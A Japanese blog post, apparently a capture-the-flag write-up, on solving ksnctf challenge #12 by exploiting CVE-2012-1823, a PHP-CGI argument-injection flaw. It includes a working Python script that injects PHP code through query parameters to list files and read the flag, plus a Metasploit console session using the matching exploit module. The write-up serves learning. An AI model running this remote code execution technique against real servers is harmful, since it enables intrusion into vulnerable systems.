ksnctf #12 Hypertext Preprocessor
一ヶ月くらい論文やらなんやらで忙しくて全然更新できなかった・・・。
ksnctf - 12 Hypertext Preprocessor
Analyze
最初は時刻を表示してるのかな?と思って何回かページを更新したところ先頭の文字は変わらず、末尾だけ変化していました。
とりあえず困ったときはGoogle大先生に聞いてみようと、先頭の文字列を検索してみるとCVE-2012-1823に関する情報がたくさんヒットしました。
徳丸先生のページで詳細に解説されていました。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記
CGI環境においてPHPを動かしている場合、リモートからのコマンド実行を許可してしまう脆弱性のようで、クエリとして=
が含まれない場合、コマンドラインの引数としてみなされるもののようです。
以下の二つをパラメータとしてURLに含めて、実行したいコマンドをPOSTで渡すとPOSTの中身をPHPスクリプトとして実行されるとのことです。
allow_url_include=On
auto_prepend_file=php://input
Answer
実際に以下のようなコードを作成して、ディレクトリの中身を確認してみる。
#!/usr/bin/env python # coding: UTF-8 import urllib import urllib2 import requests def main(): url = 'http://ctfq.sweetduet.info:10080/~q12/index.php' code = '?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input' values = ''' <?php $res_dir = opendir( '.' ); while( $file_name = readdir( $res_dir ) ){ print "{$file_name}\n"; } closedir( $res_dir ); ?> ''' req = requests.post(url+code, data=values) print req.text if __name__ == '__main__': main()
すると、ディレクトリの中身として、
が存在していることがわかりました。
あとは、同じやり方でflag_flag_flag.txt
の中身を表示して終了です。
感想とか
今回はたまたまググって解説されてるページがあったから解くことができたけど、CVEの情報とかだけだったらかなり苦戦していたように思うので、ラッキーということで・・・。
追記(2017/6/24)
最近Metasploitに触れる機会があったので、この問題をMetasploitを使って解いてみました。
上述の通り、CVE-2012-1823の脆弱性を利用したものなので、リンク先にあるようにModuleとしてexploit/multi/http/php_cgi_arg_injection
を利用します。
exploitの際に利用するpayloadについて、Metasploit上では、shellをバインドするものや任意のコマンドを実行するが用意されていますが、うまく接続できなかったので、上述の攻略方法と同じアプローチで実施します。
つまり、任意のPHPコードを実行して、その結果をHTTPレスポンスで得ます。
そのため今回はpayloadを自身で定義できるgeneric/custom
を利用します。
また、payloadのオプションとしてファイルに書かれているpayloadを実行するPAYLOADFILE
を利用します。
今回はMetasploitと同じディレクトリ上にq12.php
というファイルを作成しました。
以下、mfsconsole上での操作になります。
msf > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > set RHOST ctfq.sweetduet.info RHOST => ctfq.sweetduet.info msf exploit(php_cgi_arg_injection) > set RPORT 10080 RPORT => 10080 msf exploit(php_cgi_arg_injection) > set TARGETURI /~q12.php/ TARGETURI => /~q12/ msf exploit(php_cgi_arg_injection) > check [+] ctfq.sweetduet.info:10080 The target is vulnerable. msf exploit(php_cgi_arg_injection) > set payload generic/custom payload => generic/custom msf exploit(php_cgi_arg_injection) > exploit
exploitを実行すると、HTTPリクエストが投げられるので対応するHTTPレスポンスの中身を確認すると無事FLAGゲットです。
HTTPレスポンスの中身の確認までMetasploit上でできたらよかったんだけど、使い方がわからないところがたくさんあったので今回はWiresharkでパケットの中身を確認しました。